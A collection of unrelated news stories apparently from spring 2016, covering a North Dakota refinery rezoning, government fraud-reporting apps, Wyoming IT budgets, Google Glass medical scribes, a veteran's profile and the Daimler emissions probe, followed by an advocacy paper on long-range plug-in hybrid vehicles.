The Paris Agreement is considered as a bridge between today's policies and climate-neutrality before the end of the century. With regards to mitigation, reducing emissions, Governments agreed, amongst others, on the need for global emissions to peak as soon as possible, recognising that this will take longer for developing countries.

As for a daptation measures, Governments agreed to strengthen societies' ability to deal with the impacts of climate change as well as provide continued and enhanced international support for adaptation to developing countries.
MEDORA -- A proposed petroleum factory on 715 acres in far western North Dakota, just 3 miles from Theodore Roosevelt National Park, has taken a step forward.

It was standing-room only for much of the Billings County Planning and Zoning Board meeting Thursday afternoon at the Billings County Courthouse as commissioners heard a presentation on the Davis Refinery project and public comments before unanimously approving an application from Meridian Energy Group Inc. to rezone the agricultural and residential land for the proposed 55,000 barrels per day petroleum refinery.

They met all the requirements that we had, said John Tczap, president of the zoning board. He said the main issue hed been concerned with was the view from the national park.

After Thursdays presentation, Tczap said he felt comfortable the view would not be compromised.

The application will now go before the Billings County Commission on May 3 for final approval.

Some attendees from the public, including park superintendent Wendy Ross and former superintendent Valerie Naylor, spoke during the comment portion of the meeting about the potential impact on the national park.

Naylor, who now works as a conservation consultant, said she was shocked and dismayed Meridian Energy had chosen a site so close to the park and said such a development could be the start of a trend.

We dont need an industrial park next to a national park, she said.

Ross spoke to the tourism value of the park and provisions in the federal Clean Air Act that hold national parks to provide high levels of air quality. She said the national park had worked closely with the Dakota Prairie Refinery in Dickinson for nearly a year to obtain the necessary air permits with the North Dakota Department of Health and that it seemed pre-emptive to approve the zoning application before the permit process was complete.

Dan Hedrington, a senior project manager with engineering firm SEH that is working with Meridian Energy, said the group was aware of the controls it would need to work with and said he was confident the project could meet the required standards.

Along with any requirements placed on the refinery by the North Dakota Department of Health, the application approval from the planning and zoning board came with a series of recommended conditions aimed at minimizing the impact of the facility.

Conditions included coloring the tanks with earth tones or shades of tan so as to help blend the facility in with the natural landscape. Further recommendations included requiring Meridian Energy to facilitate emergency management training and resource acquisition for local rural fire departments and coordinate with the Billings County highway superintendent to control dust during construction periods.

Many who spoke at the meeting did so in favor of the proposal and the prospect of bringing new jobs to the region.

Karen OBrien, who owns land that neighbors the site, said she came to the Thursday meeting to hear additional information about the project. OBrien said shed been in prior contact with Meridian Energy, was very aware of the course of the planning process thus far and supports the project on the basis of the influx of jobs it will bring into the area.

At full capacity, the refinery would employ about 200 workers.
Uncertain Impact

Tough Tips

Whistleblowers

In Long Beach, California, six city employees were fired after people complained items had gone missing from inside impounded cars. In Philadelphia auditors found safety issues in a dozen rental properties as well as over $350,000 in unpaid taxes. And in Richmond, Virginia, a city employee is on the hook for nearly $10,000 in bogus expenses.All of these cases were brought to auditors attention by tipsters using hotlines or fraud apps, which allow smartphone users to anonymously report government waste, fraud and abuse.Cities and states have long had hotlines for reporting misuse of government resources. But mobile apps bring a new level of sophistication. They allow people to submit photos and videos in support of their claims; and in some cases auditors can use the app to respond and ask for follow-up information, all while maintaining a tipsters anonymity.Sixty-four percent of American adults now carry a smartphone, according to a report from the Pew Research Center. (The Pew Charitable Trusts funds both the Pew Research Center and Stateline.) Because reporting waste, fraud and abuse through an app is so easy, people are more inclined to do so, auditors say.Smartphones are becoming a ubiquitous tool, and I think we need to meet people where they are, said Dave Yost, the state auditor who in 2014 introduced a fraud app in Ohio.The cost of developing the apps varies. Ohio was able to develop its app in-house, while Richmond spent about $10,000 for outside help. Pittsburghs app was unveiled this month. It cost $20,000 to develop and will cost $3,000 for upkeep, but it also allows users to access a range of databases on city contracts and campaign contributions.In many places, its hard to discern how much of a difference the apps are making compared to traditional hotlines because auditors dont keep track of where tips originate. Many of the apps allow users to call a fraud hotline from the app.So far, relatively few citizens have downloaded the apps. In Long Beach there have only been 160 downloads. In Ohio there have been 673. In Philadelphia, which in 2011 developed one of the first fraud apps, there have been 2,015 downloads.Whether tips are received through a hotline or an app, governments have received valuable information.Tips from residents led the Philadelphia Controllers Office to investigate 261 properties. Thirty-six of the properties had altogether 135 code or licensing violations, including fire code issues and poor maintenance. One property was cited as being in imminent danger of collapse. Beyond safety issues, several of the properties had unpaid property and water taxes totaling just under $357,000.The amount of interaction we get is more of a benefit than the cost to develop the app, said Brian Dries, the spokesman for the city controller, of the apps $9,000 price tag.After citizens in Long Beach complained about items going missing from towed and impounded cars, six city employees were fired. And an audit brought about changes to the way the Towing and Lien Sales Division takes inventory and accounts for money.Not all tips result in reports, and many are difficult to investigate.In Philadelphia and Long Beach, about a quarter of all tips are flagged as not providing sufficient evidence, so the tips do not get more than an initial review.A majority of individuals like to remain anonymous, but if they dont provide enough information and if they dont provide a contact, its hard for us to follow up on what were investigating, Philadelphias Dries said.But the state is obligated to look into tips that make accusations against city officials, regardless of how implausible they may seem, Yost said. That includes a recent tipsters observation that though his town was on the verge of bankruptcy, the mayor was seen buying lottery tickets at multiple gas stations around town.In many cases, the tips come from government employees. A study of 58 tips to the Long Beach City Auditors Office hotline found that 40 percent of callers were city employees and 36 percent were residents. The remaining 24 percent chose to remain anonymous.Though government employees are often protected by whistleblower laws, many may still be hesitant to go through official channels to report any problems they see.In Richmond, which has the Fraud Squad app was introduced in 2012, Craig Johnson, investigations manager for the City Auditors Office, estimated that about 70 percent of the tips his office gets are from government employees, based on the wording of the complaint or the specificity provided.Some people are making legitimate complaints, but some people have not so legitimate complaints and just want to get someone in trouble, Johnson said. Sometimes they leave out facts. Perhaps they just want to inconvenience someone by having them looked into. But if they report something false we cant go after them because we dont know who they are.One recent tip, however, led city investigators to nearly $33,000 in questionable, unjustified or fraudulent spending by a Richmond employee who, among other things, overcharged the city for travel expenses. That includes billing the city for a conference in Portland, Oregon, which she never attended, traveling instead to Seattle.The employee pled guilty and will have to reimburse the city $9,556. The tipster is eligible to receive an award of 10 percent of the recovered funds, up to $5,000.
(TNS) -- Costly replacements for several state computer systems are on hold as Wyoming continues to face budget constraints.State lawmakers punted on tens of millions of dollars of budget requests for technology upgrades earlier this year.And with many fearing the energy downturn will limit state revenues for several more years, there is some concern the state could be hard-pressed to address its outdated technology infrastructure. Officials say this could hamper the states ability to provide services that include managing the states payroll system and processing drivers license applications.The cost to update some of these systems is just enormous, said Rep. Dave Zwonitzer, R-Cheyenne. And its somewhat of a hidden cost because the public cant always see it, but they still want to see quick services running smoothly.One of the states largest funding needs is the Wyoming Department of Transportations request to replace its 1980s-era computer system.The statewide system is used to manage vehicle titles and registration, identification cards, concealed carry permits, drivers licenses and driving records. It also allows law enforcement groups to run license plates during traffic stops.WYDOT officials told lawmakers last year that the system is nearing the end of its lifespan and is becoming more challenging to maintain.The state estimates it would cost $30 million to $50 million to replace.Zwonitzer, who co-chairs the Joint Transportation, Highways and Military Affairs Interim Committee, backed a proposed bill to raise the states vehicle registration fees to begin raising funds for the upgrades.That proposal was defeated during a committee hearing before this years legislative session.Since WYDOT is not the only agency facing this type of problem, legislative leaders recently agreed to study the issue on a statewide basis to make sure agency-to-agency systems are compatible and cost effective.One of the other proposed upgrades that was denied this year is a request to overhaul the human resources system that the State Auditors Office uses to handle its complex payroll system for state employees.After the Joint Appropriations Committee denied the $15.3 million request for a replacement prior to this years session, State Auditor Cynthia Cloud made a rare appearance at the Legislatures Management Council to ask top lawmakers to reconsider.She said during that hearing the new system is needed to protect data, eliminate duplicative processes and streamline her offices duties.This is an important IT project in the state that impacts over 9,900 employees and three branches of government, Cloud said.The Legislature ended up denying Clouds request, at least for this year.But lawmakers did approve $10 million to partially pay for a similar human resources and accounting computer system at the University of Wyoming.UWs highest priority exception request this year was to get state funding for the fiscal system, which has an estimated total price tag of about $30 million.Following the session, UW President Dick McGinity said getting the partial funding was still a victory for the university.The fiscal systems upgrade is extremely important and, frankly, long overdue, he said in a statement. The Legislatures support only gets us part of the way. We will have to commit more internal resources to the project, and that will require some difficult decisions in the weeks and months to come.Zwonitzer said this type of request shows the state needs to be creative, at times, to find ways to pay for the expensive projects.How to get the funding is the million-dollar question, he said.You probably have to look at multiple funding sources for them and make a determination on when and how you are going to pay for them.Trevor Brown has been the Wyoming Tribune Eagles state government and military reporter for the past five years. Thursday was his last day. As he moves to a new journalism job in Oklahoma, we wish him well.
(TNS) -- Doctors working in urgent care at Palo Alto Medical Foundation are using technology from a San Francisco startup with Google Glass to cut back on time spent record keeping and focus more on patients. Augmedix , co-founded in 2012 by millennial entrepreneurs Ian Shakil and Pelu Tran out of Stanford University, streams audio and visual information to a medical scribe in India or San Francisco who updates the patients electronic medical record, a necessity in todays Affordable Care Act era.Its like having a scribe in the room with you, said Dr. Terri Nauenberg, division head for primary care at the Palo Alto Medical Foundation in Palo Alto, part of Sutter Health.She wasnt sold on the idea at first.I was terrified, she admitted, but patients were grateful.Nauenberg used to spend a third of her day at the computer, turning away from patients to type and update records, but no more.Sutter Health is among the first six adopters of the technology, according to company officials, and is ahead of others in terms of the number of doctors involved.The technology allows doctors to view the patients entire medical record and patients can log in to read the notes.Last week, Nauenberg shared results from an 18-month pilot project involving 10 Palo Alto physicians: Notes completed in less than five minutes 84 percent of the time, doctor productivity up 15 percent and patient acceptance of 96 percent.Typically the same scribe is matched with the same doctor, and Nauenberg noted patients preferred the technology over a scribe in the room.Theres a perception if youre not making eye contact, youre not paying attention, said Trish Burgin, urgent care clinical manager for Palo Alto Medical Foundation in Santa Cruz.Patients like it, said Debbie Smallwood, a physician assistant in Santa Cruz, reporting only three patients turned down the technology.She can print out a summary for patients after the visit and now has time to respond to patients throughout the day.Its really nice to have all that discussion documented, especially with complicated patients, said Dr. Cynthia Hill, an urgent care physician in Santa Cruz, after three days of wearing Google Glass with Augmedix.Her scribe, Devendra Kumar in Delhi, told her, We are trained medical transcriptionists working 15 years and we have our own workspaces, we work independently.Tran, 27, who has three months left to complete his medical degree, contends Augmedix can enable a doctor to see one to one-and-a-half more patients per day.Thats a significant benefit when physicians are in short supply.Indeed, multiple openings are available for doctors in emergency or family medicine to join the Palo Alto Medical Foundations Urgent Care department in Santa Cruz.The new technology has not been all smooth sailing.There have been some IT drops where upgrades are needed but Nauenberg envisions a day when primary care doctors can make referrals to the dermatologist of the day or a gastroenterologist via technology without the help of a receptionist or a medical assistant.Augmedix, which has attracted $23 million in venture funding and grown to 700 employees, was named by FastCompany.com as the most innovative health care company of 2016.
Force India chief Vijay Mallya's legal troubles are continuing to deepen.

Already, the Indian government was moving against the former billionaire over huge debts from the collapse of his airline Kingfisher.

Mallya, the Force India team principal and co-owner, has been absent from all three grands prix so far in 2016, and his passport has now been suspended.

As an arrest warrant was issued by an Indian court last week, it is suspected the 60-year-old is in Britain.

So the news agency AFP now reports that India's financial crimes division, the enforcement directorate, is seeking for Mallya to be deported.

"We have been given enough indication that he is indeed in the UK," an Indian government spokesman said.

"We have written to the (British foreign) ministry for assistance in the deportation of Mr Mallya as the process would involve using diplomatic channels."

Force India's other co-owner and title sponsor, Subrata Roy, is already in jail.

(GMM)
The rain of the past week has made a big difference to the drought outlook for North Dakota.

The U.S. Drought Monitor report released Thursday said the percentage of North Dakota considered in moderate drought went from 30.27 on April 12 to 15.14 on Tuesday. The percentage of the state considered abnormally dry also decreased slightly in that time frame, from 60.18 to 56.38.

More rain already has fallen in Bismarck this month than is normal in the entire month of April, with more expected as early as Sunday.

So were doing pretty good, National Weather Service meteorologist Ken Simosko said.

Precipitation in the first three months of the year lagged behind normal, but the recent rains helped 2016 catch up. Bismarck had received 1.26 inches of precipitation through April 14, compared to 2.33 inches for that date on average, according to the National Weather Service. By Thursday, Bismarck had received 2.54 inches, compared to 2.6 inches on average.

The U.S. Department of Agricultures crop and weather report said fieldwork, on average, began on April 15 across the state, and small grains planting was on par with most years.

The moisture really came at the right time, said Burleigh County Extension Agent Ashley Stegeman. It helps with germination. It helps with getting those seeds starting to grow.

The crop and weather report also said topsoil moisture supplies were considered adequate or surplus in 77 percent of the state, and subsoil moisture supplies were considered adequate or surplus in 73 percent of the state.

Plenty of planting and fieldwork is yet to be done, said Stegeman, adding the soil remains pretty dry, despite the recent rain. Several climatologists have said its going to be a hot, dry summer, and Stegeman said the soil in many parts of the state loses moisture quickly.

We are going to need more of it, she said. We just want to keep that rain coming.

The National Weather Services Climate Prediction Center says temperatures are expected to be above normal during the summer, and there are equal chances of above and below normal precipitation.

In the short term, more precipitation appears to be on the way, Simosko said. A storm is expected to move into North Dakota Saturday night, and areas around and south of Interstate 94 could receive another inch of rain.

Sunday and Monday also are expected to be cooler than normal, with highs in the 40s and 50s. Winds on Sunday are expected to be 20 to 25 mph, with gusts of 30 to 35 mph. Simosko said the storm also could produce some areas of heavy rain, so visibility may become an issue. Travelers should slow down and allow extra time to reach their destinations.

Another system could bring additional precipitation beginning Tuesday night, but Simosko said the path of that storm remains uncertain.

Stegeman said the rainfall so far hasnt adversely affected calving season, which is more than half over for most ranchers.

The soil really drank it up already, she said. Were really not in a muddy mess yet.
GRAND FORKS, N.D. -- U.S. Sen. John Hoeven met with Supreme Court nominee Merrick Garland on Thursday, but the meeting didn't change his mind on rejecting President Barack Obama's nominee.

Hoeven, a Republican from North Dakota, has previously noted his opposition to confirmation hearings based on Garland's record but did not rule out a meeting with the nominee when questioned in recent weeks. In an interview Thursday after his meeting with Garland, Hoeven said he's against an appointment and hearings prior to the November election and Garland's appointment in particular.

Hoeven said the hour-long meeting, held at his offices in Washington, D.C., covered much of Garland's experience and his record as a judge. Ultimately, Hoeven said he's concerned about Garland's Second Amendment record, as well as his potential impact on regulations on small businesses, energy and the environment.

"I meet with people when they want to meet. That's just in my practice," Hoeven said of the White House's request that he meet with the nominee. "As far as an individual, I have respect for him as an individual ... (but) I don't support his confirmation on the Supreme Court."

Hoeven's Democratic colleague, Sen. Heidi Heitkamp, met with Garland on April 7 and has been adamant that the Senate hold confirmation proceedings for him.

"I think what's critical in all of this is that we have public hearings, that the Senate do its job," Heitkamp said, though she has said she has not yet decided if she would vote for Garland's appointment. "I think it's my job to meet with him, and I hope that we get a public hearing soon."

State Rep. Eliot Glassheim, a Grand Forks Democrat seeking Hoeven's senate seat, criticized Hoeven's continued refusal to support confirmation proceedings.

"I was pleased that he agreed to meet with him ... but he needs to break with (Senate) Majority Leader (Mitch) McConnell and be an independent North Dakotan," Glassheim said, calling confirmation proceedings a "constitutional responsibility."

Waylon Hedegaard, president of the North Dakota AFL-CIO, said his organization favors Hoeven's decision to meet with Garland, but wants more.

"We feel fairly strongly that (Hoeven is) not going all the way, but he's taken a first step," said Hedegaard, adding his organization has been vocal in its support for confirmation proceedings, organizing protests and penning letters to the editor in support of senate proceedings.

"Merrick Garland may not be a perfect candidate," Hedegaard said of the organization's stance on the nominee, "but ... he understands labor law and he follows labor law, and we will accept that."

Hoeven argued the electorate should have the chance to weigh in on the future of the Supreme Court and that work toward confirmation should be held off until then. To critics, he noted that Democratic leaders have previously mentioned the same argument when past confirmations have loomed prior to an election.

Hoeven said he feels as though he's done his duty by meeting with Garland and weighing his record.

"My real duty is to do what's best for North Dakota, and that's why I don't support his appointment to the court," he said.
POPLAR, Mont.  A woman was behind bars on a Montana Indian reservation Thursday in connection with the death of a 1-year-old girl who was reported to have been kidnapped from her home and found dead the next day.

Authorities would not release the 42-year-old woman's name or specify the charges she faces on the Fort Peck Indian Reservation, citing the investigation into Kenzley Olson's death.

Details on how Kenzley died and whether the woman had any relationship with the girl were not released. Authorities initially said Kenzley was abducted from her house in the small town of Poplar on Tuesday morning, but FBI spokeswoman Sandra Yi Barker could not confirm if that was still believed to be the case.

An Amber Alert for the girl went out early Wednesday, and her body was found that afternoon.

Investigators also were looking to question additional people in Kenzley's death, Roosevelt County spokesman Lee Allmer said.

"What they're trying to accomplish with the investigation is to see if anybody else was involved. It is a general search," he said.

The woman was taken into custody Wednesday evening and scheduled to appear Friday for a probable cause hearing before a tribal judge, court officials said. Federal charges also were anticipated, Barker said.

The Fort Peck Reservation is home to the Assiniboine and Sioux tribes and has a population of about 10,000.

Kenzley's death followed the February abduction of a 4-year-old girl from a public park in a reservation town about 20 miles west of Poplar. The girl was found alive several days later, and authorities said her abductor had tried to kill her.

A 20-year-old man was charged in that case with kidnapping, attempted murder and aggravated sexual assault of a minor. He has pleaded not guilty.
The war was 50 years ago, but Gary Kline remembers it like it was yesterday.

He remembers the faces of soldiers, of the indigenous people of the Central Highlands of Vietnam whom he had met during frequent supply missions and of the children who would come to his helicopter and feel the hair on his arm.

He remembers the faces of the two "goofy young guys," his pilots, the men in his air assault company. The two pilots were killed during his first tour of Vietnam, the tour in which he saw the most combat.

To me, the heroes are the guys that didnt make it back, Kline said during an interview earlier this month in his Bismarck home.

The lives lost during the war still weigh heavy upon him, particularly those two pilots who died after stepping on a minefield. Kline, who was a flight leader in charge of one of the platoons in his aviation company, had to identify the two men who died.

Im nothin," Kline said, the sadness resonating in his voice. "You hate to lose guys.

His memory of events during his time in war are as clear as day: It seems like yesterday; its 50 years ago," he said.

Photos he kept of his experiences  of the airplane crashes, the locals, the helicopter he flew  help, too.

Kline, 78, was born in Iowa, "out in the country," says Kline, who grew up with four siblings and was an engineering student at Iowa State University, where he spent time in the Reserve Officers' Training Corps.

Every able body student had to be in ROTC," said Kline, who would decide to make the U.S. Army a career and joined upon graduation on May 29, 1959.

Ive always wanted to fly," Kline said.

Learning to fly

Kline went to a 17-week engineer officers training program at Fort Belvoir, Va., just south of Washington, D.C.; then, airborne training for three weeks at Fort Benning, Ga. Following that, there was flight school in Alabama, where he learned basic flight training and instrument training.

Then, it was off to Germany for his first tour. During that time when they were building bridges on the Danube River, he was promoted to captain.

He eventually went to Vietnam after a brief tour with the special forces aviation unit in Fort Bragg, N.C., which is where he learned to fly helicopters. He also was deployed to the Dominican Republic with the special forces unit, heading to Vietnam in September 1965.

Vietnam, Germany

During his first tour in Vietnam, he was stationed in the Central Highlands. He served two yearlong tours in Vietnam, in 1965 and 1968.

We flew all over south Vietnam because air mobile operations were a big thing  take a lot of soldiers into areas and then take them back out," said Kline, who saw combat, mainly during his first tour in Vietnam. I was in and out, in and out of landing, so bullets were being shot at me."

During one mission, just about the time he was hovering his helicopter and preparing to land, a bullet narrowly missed the top of his head.

It must've missed my head just a little bit because it took out a bunch of the circuit breakers right above my head, he chuckled. Talk about luck.

He stayed in touch with his family via letters and tapes sent back and forth. A couple of times he and his wife, Barbara, who was in Iowa, were able to use the MARS system, a shortwave radio.

One of our helicopter company communication sergeants rigged up one of the low-frequency systems. They would patch us back and forth," he said. When she got done, they would have to remind (Barbara) to say over and then she would giggle."

He served in Germany for 16 months then went to Georgia where he learned to fly an attack helicopter before returning to Vietnam for a second tour.

Life after service

After his second Vietnam tour, he went back to school at the Missouri School of Mines, now Missouri University of Science and Technology in Rolla, to get his master's degree in construction management, which was paid for by the Department of Defense.

I got out of Vietnam; 30 days later, I was back in college, said Kline, who, after obtaining his master's degree, went on to Command and General Staff College in Fort Leavenworth, Kan.

Kline has been married to Barbara, whom he met at Iowa State University, for 58 years. They have five kids.

In Panama, he monitored major construction contracts for three years. His kids call the time there the golden years, they could play in the jungle and pick from a banana tree.

It was wonderful," he said.

Kline and his family later moved to the Langdon-Nekoma area, working at an anti ballistic missile safeguard complex. He was there as a contracting officer.

In 1981, he volunteered to move to Bismarck, the place where he completed his service in 1987.

Six months after retiring, Kline started working for the North Dakota Department of Health as an environmental engineer in air quality.

He's worked for the state Health Department for 25 years. He decided to retire three years ago, but the department asked him to stay on part-time.
Daimler AG announced that it is conducting an internal investigation regarding its certification process related to exhaust emissions in the United States upon the request of the US Department of Justice (DOJ).

Daimler said it is cooperating fully with the authorities. Daimler will consequently investigate possible indications of irregularities and take all necessary actions.

In a brief statement, the company noted that its experience with the US authorities has clearly shown that a conservative communication supports the constructive dialogue with the authorities.

Some owners of Mercedes diesel cars have filed class-action lawsuits in the US charging that Daimler used a defeat device to cheat emissions testing. Daimler said it considers the class actions filed against it to be without merit and said it will defend itself against them with all available legal means.
PHEVLERs [ 3 ] are a disruptive technology that will help revolutionize both the clean transportation and the clean stationary energy sectors of our economy. These vehicles are the green machines that will provide a critical part of the renewable and sustainable society that we need for the future. [ 4 ]

Abstract. The Plug-in Hybrid Electric Vehicle with Long Electric Range (PHEVLER - pronounced fevler) is a new category emerging in the electric vehicle marketplace. PHEVLERs are defined as PHEVs with sufficient battery capacity for all electric driving of twice the average daily distance. [ 1 ] The average daily driving distance in the USA is 30 miles (48 km), so PHEVLERs are vehicles with at least 60 miles (97 km) of electric range. The 2016 Chevrolet Volt with an electric range of 53 miles [ 2 ] is the first commercial car that almost qualifies as a PHEVLER.

About the authors

Dr. Andrew A. Frank (email: afrank@efficientdrivetrains.com) Dr. Frank is Professor Emeritus, Mechanical and Aeronautical Engineering at the University of California, Davis, where he established the Institute for Transportation Studies (ITS-Davis).

Dr. Frank is also CTO and co-founder of Efficient Drivetrains Inc. which produces hybrid and electric drivetrains for small vehicles and medium- and heavy-duty trucks and buses.

Connect with Dr. Frank on social media:

https://www.facebook.com/andyfrankatedi

http://linkedin.com/in/andrewafrank

Dr. Bruce R. Thomas is a technical writer and online marketing specialist. He has a Ph.D. from University of California, Davis and years of experience as an agricultural researcher.

Catherine J. DeMauro is a graduate of Wellesley College, with a MA in English from Tufts University and a MS in Educational Leadership from National University.

Table of Contents

PHEVLERs Provide Value to the Drivers

PHEVLERs use the Existing Energy Infrastructure

PHEVLERs use Clean Fuels to Reduce Air Pollution

PHEVLERs Provide Value to the Drivers

A. PHEVLERs drive primarily on electric fuel because they have sufficient electric range to satisfy all local driving needs. Most homeowners have or can easily set up for plug-in electric vehicle (PEV) battery charging overnight while the driver sleeps.[5] Increasing numbers of drivers can get PEV charging at their workplace.[6] Refueling a PHEVLER is convenient and effortless when its battery can be fully charged at these locations where it will be parked for long periods of time. On the other hand, drivers of other vehicles waste considerable time making special trips to refuel their internal combustion engine (ICE) vehicles at the liquid fuel station or their battery electric vehicle (BEV) at the rapid recharging station.

B. Electric fuel cost is a fraction of gasoline or diesel fossil fuel cost, even at a time when petroleum prices are temporarily reduced due to geopolitical manipulations and manufacturing costs. The fuel cost for driving an electric vehicle on electric fuel would be equivalent to the fuel cost for an ICE vehicle if gasoline cost $1 per gallon.[7]

C. PHEVLERs have lower repair and maintenance costs than conventional internal combustion engine (ICE) vehicles.[8] Electric drivetrains provide higher reliability and lower costs because they have fewer moving parts and do not require frequent lubrication oil and brake component changes.

D. PHEVLERs use liquid fuel occasionally when the vehicle needs to travel distances beyond its electric driving range. The average PHEVLER would use more than 90% electric fuel and less than 10% liquid fuel to serve the annual transportation needs of a typical driver.[9] The vehicle automatically switches from electric fuel to liquid fuel without anxiety or inconvenience to the driver, so this dual fuel capability makes the PHEVLERs ideal for both short and long distance driving needs. PHEVLERs of the future should be made with flex-fuel engines that can use any blend of biofuel to serve all of their liquid fuel needs.

E. PHEVLERs eliminate range anxiety because dual fuel PHEVLERs can always drive using liquid fuel if the PHEVLER battery is not fully charged when needed.[10] With their smaller, lighter battery packs PHEVLERs are much cheaper to manufacture and more fuel efficient while providing greater range and faster refueling capability than the BEVs. Slow Level 1 charging[11] should be used to recharge PHEVLER batteries whenever possible.

BEVs have an ongoing problem with range anxiety.[12] Batteries are heavy, expensive and slow to recharge, so even with the expected gradual improvement in this technology, it will be a long time, if ever, before vehicles powered only by batteries (BEVs) can match the range and refueling convenience of a dual fuel PHEVLER. The DC and fast charging infrastructures for BEVs are very expensive to construct[13] & operate, and are wasteful of electricity inversely to the square of charge time (meaning  the charge time 4 times the losses, and  the charge time 9 times the losses).

F. PHEVLERs produce no tailpipe emissions in local driving. The long electric range of the PHEVLER ensures that most if not all local driving will be emissions-free in population centers where air quality problems are greatest. PHEVLERs will make occasional use of their liquid fuel engines primarily on longer trips to rural areas. Thus, PHEVLERs and other electric vehicles may be allowed to continue driving when governments ban fossil fuel vehicles from driving in city centers due to air pollution crises or other reasons.[14]

PHEVLERs use the Existing Energy Infrastructure

G. PHEVLERs make our electric grid more efficient.[15] Electric power grids are designed with capacity to serve the highest power peaks demanded (e.g. summertime afternoons when air conditioning is needed), but that full capacity is not used during the off-peak night and morning hours of the day. The existing electric grid in the USA has sufficient energy capacity to recharge massive numbers of electric vehicles as long as they do most of their battery charging during those off-peak night and morning hours. In the USA the electric grid capacity would not need to be increased since the existing electric grid can transfer about 10 times more energy simply using the low power demand times during the night and morning. Using these times for car battery charging, a typical household electrical infrastructure could support 3 or more PHEVLERs.

H. PHEVLERs help support the electric grid. Vehicle-grid-integration[16] uses electric vehicles with low power bidirectional chargers to balance an electric smart grid, absorb and redistribute the renewable energy from intermittent sources such as solar and wind. For maximum efficiency the recharging of electric vehicles should be managed via the electric power companies and regulated by the public utility commissions.[17] If PHEVLERs are plugged in for recharging whenever they are parked, then their batteries can provide storage for electric energy. That is, PHEVLERs can store electricity whenever sun and wind-generated electricity is plentiful, and then can send stored power back into the smart grid at times when more electric power is needed. The PHEVLER battery provides the electric fuel when the vehicle is driven, and then becomes an electric storage resource for the power grid whenever the vehicle is parked and plugged in for charging.[18]

I. PHEVLERs are better than BEVs in support of the electric grid. Dual fuel PHEVLERs can always be driven using liquid fuel on occasions when the vehicle battery is low (e.g. when the battery has recently sent electricity back into the smart grid). BEV drivers are less able to share their batteries with the grid because these vehicles do not have dual fuel capability and cannot be driven when their battery is at a low state of charge. PHEVLERs provide considerable electric storage value to the grid, so electric utility companies should compensate the PHEVLER drivers to encourage them to share their car battery capacity with the grid when the vehicles are parked and otherwise unused.[19]

J. PHEVLERs have the optimum battery size to provide a capable and efficient vehicle.

a) PHEVs with smaller battery packs and shorter electric ranges consume more liquid fuel than a PHEVLER needs to satisfy its annual driving needs. These PHEVs with short electric ranges unfortunately can absorb less electric energy when it is in excess and can provide less electric energy back to the grid when renewable electricity is in deficit.

b) Long distance BEVs achieve their driving range with giant battery packs that are very heavy and expensive, making these vehicles wasteful and inefficient in fuel use for the short distance local travel that drivers need most often.

c) PHEVLERs represent the sweet spot between vehicles whose batteries are too small vs. vehicles whose batteries are too large. The PHEVLER can be lower in cost than both the conventional ICE vehicle and the BEV due to advanced technology (e.g. powertrains from Efficient Drivetrains Inc., EDI).[20]

K. PHEVLERs use the existing liquid fuel infrastructure. At present PHEVLERs, PHEVs and conventional gasoline engine vehicles in the USA all use a liquid fuel blend comprising 90% gasoline and 10% biofuel. Diesel fuel is also frequently blended with a small amount of biofuel. In the future if we transition to use PHEVLERs for most or all of our vehicles, then our entire ground transportation system could stop using gasoline & diesel and run instead on 90% electric fuel and the same 10% biofuel (see section D above). Thus, we already have all of the biofuel production and distribution infrastructure needed to completely stop using liquid fossil fuel when our ground transportation transitions to PHEVLERs running on electric fuel and biofuel.

PHEVLERs use Clean Fuels to Reduce Air Pollution

L. PHEVLERs running on electricity and biofuel are cleaner than conventional vehicles running on fossil fuels.[21] Electric fuel and biofuels will become even cleaner in the future[22] as our electric power generation transitions to more renewable energy and our biofuel industry transitions to advanced biofuels made from cellulosic waste materials, algae, etc.[23],[24]

M. Advanced biofuels will be ZERO net CO 2 fuels. Biofuels take CO 2 from the air when they are grown to compensate for the CO 2 that is released when they are burned. Using the energy infrastructure of today some fossil fuel is used for growing, production and distribution of biofuel, so use of biofuel today does produce a moderate increase in CO 2 greenhouse gas pollution. Our desired future infrastructure will enable advanced biofuels to be made using energy only from renewable electricity and biofuel. This will enable advanced biofuel to become a ZERO net CO 2 fuel and to make an important contribution towards decarbonization of our fuel and energy systems.[25]

N. PHEVLERs enable over 90% of ground transportation mileage to be electrified, with the remaining transport using only biofuel (see section D above). It is doubtful that we could produce enough biofuel to completely replace fossil fuels for all of our ground, sea and air transportation.[26] If we electrify all ground transportation where it is practical,[27] then PHEVLERs can run on biofuel for the longest distance ground transport which is impractical to electrify. In the USA rapidly rising Corporate Average Fuel Economy (CAFE) Standards[28] for vehicle model years through 2025 may stimulate more production of PHEVLERs and BEVs.[29]

O. PHEVLERs will speed up the transition to 100% renewable energy and help eliminate fossil fuel use in electricity production and transportation.[30],[31] Renewable energy sources such as wind and solar are intermittent, so grid-scale electricity storage is needed to enable electricity generated from renewable energy sources to provide reliable power at all times of the day and night. When most or all of our transportation is done using electric vehicles then the batteries in those vehicles will provide massive amounts of electricity storage during the average 20 or more hours every day when the vehicles are parked (see section H). This makes the PHEVLER a critical technology enabling more clean, green, sustainable energy to be used for all domestic, industrial and transportation needs in the future. Using PHEVLER batteries for transportation when the vehicle is moving and for grid storage when the vehicle is parked maximizes the economic value of these green machines.

P. PHEVLERs will be ZERO net CO 2 vehicles when fueled exclusively with renewable electric fuel and advanced biofuel. This is the most rapid and economical way to decarbonize our domestic, industrial and transportation fuels and to achieve the necessary reductions in greenhouse gas emissions. All of this can be achieved with no disruption in vehicle performance and with just a few small updates to our energy distribution infrastructure.

Q. A national or world policy to speed this transition could simply be to mandate that every car, truck and bus built should be a PHEVLER. The transition time to accomplish zero net CO 2 emissions from our ground transportation vehicles could be as short as one average vehicle lifetime of 15 years.[32] For each PHEVLER there should also be a 6 to 8kW solar or wind electric generator installed near the home or workplace of the driver. This distributed energy strategy would supply the domestic and transportation energy needs of the household. Society as a whole will reap the benefits of the multipurpose PHEVLER green machine which will be sun kissed for zero CO 2 .

References
This workshop will influence future funding opportunities at the Commission through its Alternative and Renewable Fuel and Vehicle Technology Program, which provides up to $100 million a year for alternative fuels and vehicle technology development.

The California Energy Commission will host a workshop Monday, 25 April, in which executives from four companies including ChargePoint and Green Charge Networks, two non-profits, one municipal utility district and one state agency will discuss the successes and challenges of developing electric vehicle charging technology in California.

The workshop will be broadcast through WebEx for those unable to attend at the Energy Commission headquarters at 1516 9th Street, Sacramento, CA. Agenda, presentations and details on how to participate are available.

The workshop will be followed by an invitation-only event where further panel discussions will occur at the University of California, Davis. To take advantage of the many electric vehicle high technology executives in town for the event, the US Department of Energy will host an invitation-only round table focused on medium- and heavy-duty electric vehicle infrastructure on April 27 in Sacramento.

